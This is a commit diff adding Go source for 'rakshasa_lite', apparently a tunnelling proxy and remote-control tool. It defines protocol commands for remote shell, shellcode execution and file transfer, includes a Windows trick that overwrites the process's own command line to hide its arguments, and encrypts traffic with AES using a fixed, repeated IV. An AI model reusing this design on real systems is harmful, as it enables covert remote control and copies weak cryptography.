lite源码
This commit is contained in:
@@ -0,0 +1,20 @@
|
|||||||
|
package aes
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
)
|
||||||
|
|
||||||
|
func AesCfbNewEncrypSteam() cipher.Stream {
|
||||||
|
block, _ := aes.NewCipher(Key)
|
||||||
|
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||||
|
|
||||||
|
return cipher.NewCFBEncrypter(block, iv)
|
||||||
|
}
|
||||||
|
func AesCfbNewDecrypSteam() cipher.Stream {
|
||||||
|
block, _ := aes.NewCipher(Key)
|
||||||
|
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||||
|
|
||||||
|
return cipher.NewCFBDecrypter(block, iv)
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package aes
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/md5"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
var Key []byte
|
||||||
|
|
||||||
|
func AesCtrEncrypt(dst, plainText []byte) []byte {
|
||||||
|
//1. 创建cipher.Block接口
|
||||||
|
block, _ := aes.NewCipher(Key)
|
||||||
|
|
||||||
|
//2. 创建分组模式,在crypto/cipher包中
|
||||||
|
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||||
|
stream := cipher.NewCTR(block, iv)
|
||||||
|
//3. 加密
|
||||||
|
|
||||||
|
stream.XORKeyStream(dst, plainText)
|
||||||
|
|
||||||
|
return dst
|
||||||
|
}
|
||||||
|
|
||||||
|
func AesCtrDecrypt(encryptData []byte) []byte {
|
||||||
|
data := make([]byte, len(encryptData))
|
||||||
|
return AesCtrEncrypt(data, encryptData)
|
||||||
|
}
|
||||||
|
|
||||||
|
const hextable = "0123456789abcdef"
|
||||||
|
|
||||||
|
func MD5_B(str string) []byte {
|
||||||
|
dst := make([]byte, 32)
|
||||||
|
for k, v := range md5.Sum(Str2bytes(str)) {
|
||||||
|
dst[k*2] = hextable[v>>4]
|
||||||
|
dst[k*2+1] = hextable[v&0x0f]
|
||||||
|
}
|
||||||
|
return dst
|
||||||
|
}
|
||||||
|
func Str2bytes(s string) []byte {
|
||||||
|
x := (*[2]uintptr)(unsafe.Pointer(&s))
|
||||||
|
h := [3]uintptr{x[0], x[1], x[1]}
|
||||||
|
return *(*[]byte)(unsafe.Pointer(&h))
|
||||||
|
}
|
||||||
@@ -0,0 +1,119 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"regexp"
|
||||||
|
|
||||||
|
"net"
|
||||||
|
"strconv"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Addr struct {
|
||||||
|
scheam string
|
||||||
|
user, passwd string
|
||||||
|
ip string
|
||||||
|
port int
|
||||||
|
httpAuthorizationHeader string
|
||||||
|
}
|
||||||
|
|
||||||
|
func ParseAddr(str string) (cfg *Addr, err error) {
|
||||||
|
defer func() {
|
||||||
|
if cfg != nil && cfg.user != "" && cfg.passwd != "" {
|
||||||
|
cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd)))
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`)
|
||||||
|
m := r.FindAllStringSubmatch(str, 1)
|
||||||
|
|
||||||
|
if m != nil {
|
||||||
|
|
||||||
|
addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5])
|
||||||
|
if err != nil {
|
||||||
|
return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口")
|
||||||
|
}
|
||||||
|
return &Addr{
|
||||||
|
scheam: m[0][1],
|
||||||
|
user: m[0][2],
|
||||||
|
passwd: m[0][3],
|
||||||
|
ip: m[0][4],
|
||||||
|
port: addr.Port,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`)
|
||||||
|
m = r.FindAllStringSubmatch(str, 1)
|
||||||
|
|
||||||
|
if m != nil {
|
||||||
|
|
||||||
|
port, _ := strconv.Atoi(m[0][4])
|
||||||
|
return &Addr{
|
||||||
|
scheam: m[0][1],
|
||||||
|
user: m[0][2],
|
||||||
|
passwd: m[0][3],
|
||||||
|
ip: "",
|
||||||
|
port: port,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`)
|
||||||
|
m = r.FindAllStringSubmatch(str, 1)
|
||||||
|
|
||||||
|
if m != nil {
|
||||||
|
|
||||||
|
addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3])
|
||||||
|
if err != nil {
|
||||||
|
return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口")
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Addr{
|
||||||
|
scheam: m[0][1],
|
||||||
|
user: "",
|
||||||
|
passwd: "",
|
||||||
|
ip: m[0][2],
|
||||||
|
port: addr.Port,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
port, err := strconv.Atoi(str)
|
||||||
|
if err != nil {
|
||||||
|
return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口")
|
||||||
|
}
|
||||||
|
return &Addr{port: port}, nil
|
||||||
|
}
|
||||||
|
func (c *Addr) IP() string {
|
||||||
|
return c.ip
|
||||||
|
}
|
||||||
|
func (c *Addr) Addr() string {
|
||||||
|
return fmt.Sprintf("%s:%d", c.ip, c.port)
|
||||||
|
}
|
||||||
|
func (c *Addr) Port() string {
|
||||||
|
return fmt.Sprintf("%d", c.port)
|
||||||
|
}
|
||||||
|
func (c *Addr) String() string {
|
||||||
|
if c.user == "" && c.passwd == "" {
|
||||||
|
if c.ip == "" {
|
||||||
|
return fmt.Sprintf("%d", c.port)
|
||||||
|
}
|
||||||
|
|
||||||
|
return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port)
|
||||||
|
}
|
||||||
|
|
||||||
|
return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port)
|
||||||
|
}
|
||||||
|
func (c *Addr) GetHttpAuthorizationHeader() string {
|
||||||
|
return c.httpAuthorizationHeader
|
||||||
|
}
|
||||||
|
func (c *Addr) User() string {
|
||||||
|
return c.user
|
||||||
|
}
|
||||||
|
func (c *Addr) Password() string {
|
||||||
|
return c.passwd
|
||||||
|
}
|
||||||
|
func (c *Addr) Scheam() string {
|
||||||
|
return c.scheam
|
||||||
|
}
|
||||||
|
func (c *Addr) HttpUrl() string {
|
||||||
|
return "http://" + c.Addr()
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
package common
|
||||||
|
func ChangeArg(param string) {
|
||||||
|
|
||||||
|
//linux暂不支持
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
//go:build linux || darwin
|
||||||
|
// +build linux darwin
|
||||||
|
|
||||||
|
package common
|
||||||
|
|
||||||
|
func ChangeArg(param string) {
|
||||||
|
|
||||||
|
//linux暂不支持
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
//go:build windows
|
||||||
|
// +build windows
|
||||||
|
|
||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
func ChangeArg(param string) {
|
||||||
|
|
||||||
|
if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil {
|
||||||
|
if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil {
|
||||||
|
u, _, _ := GetCommandLineA.Call()
|
||||||
|
|
||||||
|
u16, _ := syscall.UTF16FromString(param)
|
||||||
|
|
||||||
|
for k, v := range u16 {
|
||||||
|
*(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v)
|
||||||
|
*(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8)
|
||||||
|
}
|
||||||
|
|
||||||
|
*(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,325 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"math/rand"
|
||||||
|
"net"
|
||||||
|
"rakshasa_lite/aes"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const UUID_LEN = 16
|
||||||
|
|
||||||
|
var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN))
|
||||||
|
var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN))
|
||||||
|
var EnableTermVt bool
|
||||||
|
|
||||||
|
// 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包
|
||||||
|
type Msg struct {
|
||||||
|
From string
|
||||||
|
To string
|
||||||
|
MsgId uint32
|
||||||
|
Ttl uint8
|
||||||
|
CmdOpteion uint8
|
||||||
|
CmdId uint32
|
||||||
|
CmdData []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
const (
|
||||||
|
MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen
|
||||||
|
MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5
|
||||||
|
INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20
|
||||||
|
WRITE_DEADLINE = time.Second * 5
|
||||||
|
CMD_TIMEOUT = time.Second * 10
|
||||||
|
)
|
||||||
|
|
||||||
|
// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包
|
||||||
|
const (
|
||||||
|
CMD_NONE = iota
|
||||||
|
CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载
|
||||||
|
CMD_CONNECT_BYIDADDR_RESULT //返回id
|
||||||
|
CMD_DELETE_CONNID //删除fd资源
|
||||||
|
CMD_CONN_MSG //发送消息,格式windows(8byte)+负载
|
||||||
|
CMD_CONN_UDP_MSG //udp数据包
|
||||||
|
|
||||||
|
CMD_NODE_RESTART //删除所有
|
||||||
|
CMD_WINDOWS_UPDATE // 增加窗口值
|
||||||
|
CMD_PING //请求ping
|
||||||
|
CMD_PONG //返回pong
|
||||||
|
CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte)
|
||||||
|
CMD_PING_LISTEN_RESULT
|
||||||
|
CMD_REG //通过本地注册
|
||||||
|
CMD_REG_RESULT //节点端注册
|
||||||
|
CMD_REMOTE_REG //通过远程服务器注册
|
||||||
|
CMD_REMOTE_REG_RESULT
|
||||||
|
CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点
|
||||||
|
CMD_GET_CURRENT_NODE_RESULT
|
||||||
|
CMD_GET_NODE //获取节点列表
|
||||||
|
CMD_GET_NODE_RESULT
|
||||||
|
CMD_ADD_NODE //新增节点
|
||||||
|
CMD_LISTEN //监听
|
||||||
|
CMD_LISTEN_RESULT
|
||||||
|
CMD_DELETE_LISTEN
|
||||||
|
CMD_CONNECT_BYID //连接
|
||||||
|
CMD_DELETE_LISTENCONN_BYID
|
||||||
|
CMD_REMOTE_SOCKS5 //
|
||||||
|
//CMD_REMOTE_SOCKS5_RESULT
|
||||||
|
CMD_PWD
|
||||||
|
CMD_PWD_RESULT
|
||||||
|
CMD_DIR
|
||||||
|
CMD_DIR_RESULT
|
||||||
|
CMD_CD
|
||||||
|
CMD_CD_RESULT
|
||||||
|
CMD_UPLOAD
|
||||||
|
CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度
|
||||||
|
CMD_DOWNLOAD
|
||||||
|
CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包
|
||||||
|
CMD_SHELL
|
||||||
|
CMD_SHELL_DATA
|
||||||
|
CMD_SHELL_RESULT
|
||||||
|
CMD_RUN_SHELLCODE
|
||||||
|
CMD_RUN_SHELLCODE_RESULT
|
||||||
|
)
|
||||||
|
|
||||||
|
var CmdToName = map[uint8]string{
|
||||||
|
CMD_NONE: "CMD_NONE",
|
||||||
|
CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR",
|
||||||
|
CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT",
|
||||||
|
CMD_DELETE_CONNID: "CMD_DELETE_CONNID",
|
||||||
|
CMD_CONN_MSG: "CMD_CONN_MSG",
|
||||||
|
CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG",
|
||||||
|
CMD_NODE_RESTART: "CMD_NODE_RESTART",
|
||||||
|
CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE",
|
||||||
|
CMD_PING: "CMD_PING",
|
||||||
|
CMD_PONG: "CMD_PONG",
|
||||||
|
CMD_PING_LISTEN: "CMD_PING_LISTEN",
|
||||||
|
CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT",
|
||||||
|
CMD_REG: "CMD_REG",
|
||||||
|
CMD_REG_RESULT: "CMD_REG_RESULT",
|
||||||
|
CMD_REMOTE_REG: "CMD_REMOTE_REG",
|
||||||
|
CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT",
|
||||||
|
CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE",
|
||||||
|
CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT",
|
||||||
|
CMD_GET_NODE: "CMD_GET_NODE",
|
||||||
|
CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT",
|
||||||
|
CMD_ADD_NODE: "CMD_ADD_NODE",
|
||||||
|
CMD_LISTEN: "CMD_LISTEN",
|
||||||
|
CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT",
|
||||||
|
CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN",
|
||||||
|
CMD_CONNECT_BYID: "CMD_CONNECT_BYID",
|
||||||
|
CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID",
|
||||||
|
CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5",
|
||||||
|
//CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT",
|
||||||
|
CMD_PWD: "CMD_PWD",
|
||||||
|
CMD_PWD_RESULT: "CMD_PWD_RESULT",
|
||||||
|
CMD_DIR: "CMD_DIR",
|
||||||
|
CMD_DIR_RESULT: "CMD_DIR_RESULT",
|
||||||
|
CMD_CD: "CMD_CD",
|
||||||
|
CMD_CD_RESULT: "CMD_CD_RESULT",
|
||||||
|
CMD_UPLOAD: "CMD_UPLOAD",
|
||||||
|
CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT",
|
||||||
|
CMD_DOWNLOAD: "CMD_DOWNLOAD",
|
||||||
|
CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT",
|
||||||
|
CMD_SHELL: "CMD_SHELL",
|
||||||
|
CMD_SHELL_DATA: "CMD_SHELL_DATA",
|
||||||
|
CMD_SHELL_RESULT: "CMD_SHELL_RESULT",
|
||||||
|
CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE",
|
||||||
|
CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT",
|
||||||
|
}
|
||||||
|
|
||||||
|
type NetWork byte
|
||||||
|
|
||||||
|
const (
|
||||||
|
_ NetWork = iota
|
||||||
|
SOCKS5_CMD_CONNECT
|
||||||
|
// CmdBind is bind command
|
||||||
|
SOCKS5_CMD_BIND
|
||||||
|
// CmdUDP is UDP command
|
||||||
|
SOCKS5_CMD_UDP
|
||||||
|
|
||||||
|
RAW_TCP
|
||||||
|
|
||||||
|
RAW_TCP_WITH_PROXY
|
||||||
|
)
|
||||||
|
|
||||||
|
// 符合Server调用的接口
|
||||||
|
type Server interface {
|
||||||
|
ID() uint32
|
||||||
|
Write(buf []byte)
|
||||||
|
DeleteFd(fd [2]byte)
|
||||||
|
FdLoad(fd [2]byte) bool
|
||||||
|
FdStore(fd [2]byte, c Conn)
|
||||||
|
Close(string)
|
||||||
|
AddrList() string
|
||||||
|
}
|
||||||
|
|
||||||
|
const (
|
||||||
|
CONN_STATUS_OK = iota
|
||||||
|
CONN_STATUS_CLOSE
|
||||||
|
)
|
||||||
|
|
||||||
|
// 符合Conn调用的接口
|
||||||
|
type Conn interface {
|
||||||
|
Write([]byte) //会将部分消息原样不动发回去
|
||||||
|
Close(string)
|
||||||
|
}
|
||||||
|
type Close interface {
|
||||||
|
Close(string)
|
||||||
|
}
|
||||||
|
|
||||||
|
var globalID1, globalID2 uint32
|
||||||
|
var GetIDLock sync.Mutex
|
||||||
|
|
||||||
|
func GetID() uint32 {
|
||||||
|
return atomic.AddUint32(&globalID1, 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
func GetConnID() uint32 {
|
||||||
|
return atomic.AddUint32(&globalID2, 1)
|
||||||
|
}
|
||||||
|
func init() {
|
||||||
|
rand.Seed(time.Now().Unix())
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
type RegMsg struct {
|
||||||
|
UUID string //当前机器uuid
|
||||||
|
RegAddr string //远程连接的addr
|
||||||
|
Hostname string //当前机器名称
|
||||||
|
Goos string
|
||||||
|
ViaUUID string
|
||||||
|
Err string
|
||||||
|
MainIp string
|
||||||
|
Port string
|
||||||
|
}
|
||||||
|
|
||||||
|
var msgId uint32
|
||||||
|
|
||||||
|
func (m *Msg) Marshal() []byte {
|
||||||
|
l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
|
||||||
|
data := make([]byte, l+2)
|
||||||
|
data1 := make([]byte, l+2)
|
||||||
|
data1[0] = byte(l)
|
||||||
|
data1[1] = byte(l >> 8)
|
||||||
|
uf, _ := uuid.Parse(m.From)
|
||||||
|
ut, _ := uuid.Parse(m.To)
|
||||||
|
bf, _ := uf.MarshalBinary()
|
||||||
|
bt, _ := ut.MarshalBinary()
|
||||||
|
copy(data[2:], bf)
|
||||||
|
copy(data[2+UUID_LEN:], bt)
|
||||||
|
b := 2 + 2*UUID_LEN
|
||||||
|
if m.MsgId == 0 { //id不为0
|
||||||
|
m.MsgId = atomic.AddUint32(&msgId, 1)
|
||||||
|
}
|
||||||
|
data[b] = byte(m.MsgId)
|
||||||
|
data[b+1] = byte(m.MsgId >> 8)
|
||||||
|
data[b+2] = byte(m.MsgId >> 16)
|
||||||
|
data[b+3] = byte(m.MsgId >> 24)
|
||||||
|
data[b+4] = m.Ttl
|
||||||
|
data[b+5] = m.CmdOpteion
|
||||||
|
data[b+6] = byte(m.CmdId)
|
||||||
|
data[b+7] = byte(m.CmdId >> 8)
|
||||||
|
data[b+8] = byte(m.CmdId >> 16)
|
||||||
|
data[b+9] = byte(m.CmdId >> 24)
|
||||||
|
copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
|
||||||
|
aes.AesCtrEncrypt(data1[2:], data[2:])
|
||||||
|
return data1
|
||||||
|
}
|
||||||
|
func UnmarshalMsg(data []byte) (msg *Msg) {
|
||||||
|
if len(data) < 2*UUID_LEN+4+1+5 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
msg = &Msg{}
|
||||||
|
uf, _ := uuid.FromBytes(data[:UUID_LEN])
|
||||||
|
ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN])
|
||||||
|
msg.From = uf.String()
|
||||||
|
msg.To = ut.String()
|
||||||
|
b := 2 * UUID_LEN
|
||||||
|
|
||||||
|
msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24
|
||||||
|
msg.Ttl = data[b+4]
|
||||||
|
|
||||||
|
msg.CmdOpteion = data[b+5]
|
||||||
|
msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24
|
||||||
|
msg.CmdData = data[b+10:]
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
func ExternalIP() (net.IP, error) {
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
if iface.Flags&net.FlagUp == 0 {
|
||||||
|
continue // interface down
|
||||||
|
}
|
||||||
|
if iface.Flags&net.FlagLoopback != 0 {
|
||||||
|
continue // loopback interface
|
||||||
|
}
|
||||||
|
addrs, err := iface.Addrs()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
for _, addr := range addrs {
|
||||||
|
ip := getIpFromAddr(addr)
|
||||||
|
if ip == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return ip, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil, errors.New("connected to the network?")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取ip
|
||||||
|
func getIpFromAddr(addr net.Addr) net.IP {
|
||||||
|
var ip net.IP
|
||||||
|
switch v := addr.(type) {
|
||||||
|
case *net.IPNet:
|
||||||
|
ip = v.IP
|
||||||
|
case *net.IPAddr:
|
||||||
|
ip = v.IP
|
||||||
|
}
|
||||||
|
if ip == nil || ip.IsLoopback() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
ip = ip.To4()
|
||||||
|
if ip == nil {
|
||||||
|
return nil // not an ipv4 address
|
||||||
|
}
|
||||||
|
|
||||||
|
return ip
|
||||||
|
}
|
||||||
|
func ResolveTCPAddr(str string) ([]string, error) {
|
||||||
|
dst := strings.Split(str, ",")
|
||||||
|
for i := len(dst) - 1; i >= 0; i-- {
|
||||||
|
addr := dst[i]
|
||||||
|
if addr == "" {
|
||||||
|
dst = append(dst[:i], dst[i+1:]...)
|
||||||
|
} else {
|
||||||
|
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
|
||||||
|
if i > 0 {
|
||||||
|
r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`)
|
||||||
|
match := r.MatchString(addr)
|
||||||
|
if !match {
|
||||||
|
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return dst, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
type Config struct {
|
||||||
|
DstNode []string //-d 上级节点
|
||||||
|
Password string //通讯密码,可为空
|
||||||
|
Port int //默认8883
|
||||||
|
ListenIp string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
|
||||||
|
Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点
|
||||||
|
FileName string
|
||||||
|
FileSave bool `yaml:"-"`
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/creack/pty"
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
func SetConsoleVT() {}
|
||||||
|
func GetSize() *pty.Winsize {
|
||||||
|
size, _ := pty.GetsizeFull(os.Stdin)
|
||||||
|
return size
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
//go:build linux || darwin
|
||||||
|
// +build linux darwin
|
||||||
|
|
||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/creack/pty"
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
|
||||||
|
func SetConsoleVT() {}
|
||||||
|
func GetSize() *pty.Winsize {
|
||||||
|
size, _ := pty.GetsizeFull(os.Stdin)
|
||||||
|
return size
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
package common
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
module rakshasa_lite
|
||||||
|
|
||||||
|
go 1.16
|
||||||
|
|
||||||
|
replace cert => ../cert
|
||||||
|
|
||||||
|
require (
|
||||||
|
cert v0.0.0-00010101000000-000000000000 // indirect
|
||||||
|
github.com/creack/pty v1.1.18
|
||||||
|
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40
|
||||||
|
github.com/google/uuid v1.3.0
|
||||||
|
gopkg.in/yaml.v3 v3.0.1
|
||||||
|
)
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
|
||||||
|
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||||
|
github.com/dlclark/regexp2 v1.8.1 h1:6Lcdwya6GjPUNsBct8Lg/yRPwMhABj269AAzdGSiR+0=
|
||||||
|
github.com/dlclark/regexp2 v1.8.1/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||||
|
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94=
|
||||||
|
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0=
|
||||||
|
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||||
|
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
package httppool
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
type HttpPool struct {
|
||||||
|
r *bufio.Reader
|
||||||
|
f *os.File
|
||||||
|
sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
func HttpPoolInit(file string) (*HttpPool, error) {
|
||||||
|
f, err := os.Open(file)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
|
||||||
|
}
|
||||||
|
p := &HttpPool{
|
||||||
|
r: bufio.NewReader(f),
|
||||||
|
f: f,
|
||||||
|
Mutex: sync.Mutex{},
|
||||||
|
}
|
||||||
|
if _, err = p.do_next(0); err != nil {
|
||||||
|
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
|
||||||
|
}
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
func (p *HttpPool) Next() *common.Addr {
|
||||||
|
addr, _ := p.do_next(0)
|
||||||
|
return addr
|
||||||
|
}
|
||||||
|
func (p *HttpPool) do_next(n int) (*common.Addr, error) {
|
||||||
|
if n > 100 {
|
||||||
|
return nil, errors.New("重试错误次数过多")
|
||||||
|
}
|
||||||
|
p.Lock()
|
||||||
|
line, err := p.r.ReadString(10)
|
||||||
|
if err == io.EOF {
|
||||||
|
p.f.Seek(0, 0)
|
||||||
|
p.r.Reset(p.f)
|
||||||
|
p.Unlock()
|
||||||
|
return p.do_next(n + 1)
|
||||||
|
}
|
||||||
|
p.Unlock()
|
||||||
|
line = strings.TrimRight(line, "\n")
|
||||||
|
line = strings.TrimRight(line, "\r")
|
||||||
|
|
||||||
|
if len(line) == 0 {
|
||||||
|
return p.do_next(n + 1)
|
||||||
|
}
|
||||||
|
addr, err := common.ParseAddr(line)
|
||||||
|
if err != nil {
|
||||||
|
return p.do_next(n + 1)
|
||||||
|
}
|
||||||
|
return addr, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,175 @@
|
|||||||
|
package main
